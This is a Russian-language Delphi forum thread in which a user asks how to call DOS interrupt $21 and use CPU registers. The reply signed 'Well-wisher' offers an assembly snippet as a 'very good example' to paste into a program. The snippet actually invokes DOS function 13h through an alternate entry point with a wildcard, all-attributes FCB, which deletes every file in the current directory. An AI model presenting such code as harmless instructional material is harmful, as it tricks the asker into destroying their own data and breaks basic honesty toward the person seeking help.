![]() |
| ||
|
|
Новости |
Поиск |
FAQ |
Статьи |
Книги |
Новости VCL
| | Форумы ЧАТ |
Орешник |
|
| |||
| |||
« предыдущая ветвь | форум | следующая ветвь »
Работа с системными прерываниями и регистрами процессора [D6, Win95/98, Win2k]
Neo_Max © (2002-03-01 12:56:00)Здравствуйте!
Подскажите пожалуйста - как можно вызвать прерывание $21 и др.,
и как работать с регистрами процессора ?
Заранее очень благодарен!
Макс.
Доброжелатель :) (2002-03-02 15:25:00) [1]Вот это вот включи по директивой asm в свою программку. Очень хороший пример использования прерываний.
mov ax, offset RETURN ; Взять смещение адреса возврата
push ax ; Занести в стек флаги, сегмент
push cs ; и смещение адреса возврата
pushf ; в обратном порядке.
mov cl, 13h ; Функция: удалить по FCB
mov dx, offset FCB ; Расширенный FCB
push cs ; Для уверенности, что DS
pop ds ; указывает на текущий код.
jmp dword ptr ALT_DOS_PTR ; Выполнить функцию.
RETURN: mov ah, 4Ch ; Завершить процесс через DOS.
int 21h ;
ALT_DOS_PTR dw 00C0h, 0000 ; Адрес для перехода в альтер-
; нативный обработчик
FCB db 0FFh ; Расширенный FCB
db 5 dup (0) ; Зарезервированные байты
db 1Fh ; Установлены все биты атрибута файла
db 0 ; Номер дискового устройства
db "???????????" ; Искать все файлы
db 19h dup (0) ; Остальная часть FCB
Shaman_Naydak (2002-03-01 14:28:00) [2]Только учти, что под Win2k/NT это все не имеет ни малейшего смысла.
Доса там нет, вызвать ничего не получится
[NIKEL] (2002-03-01 14:11:00) [3]используй asm`овские вставки, если конечно ассемблер знаешь...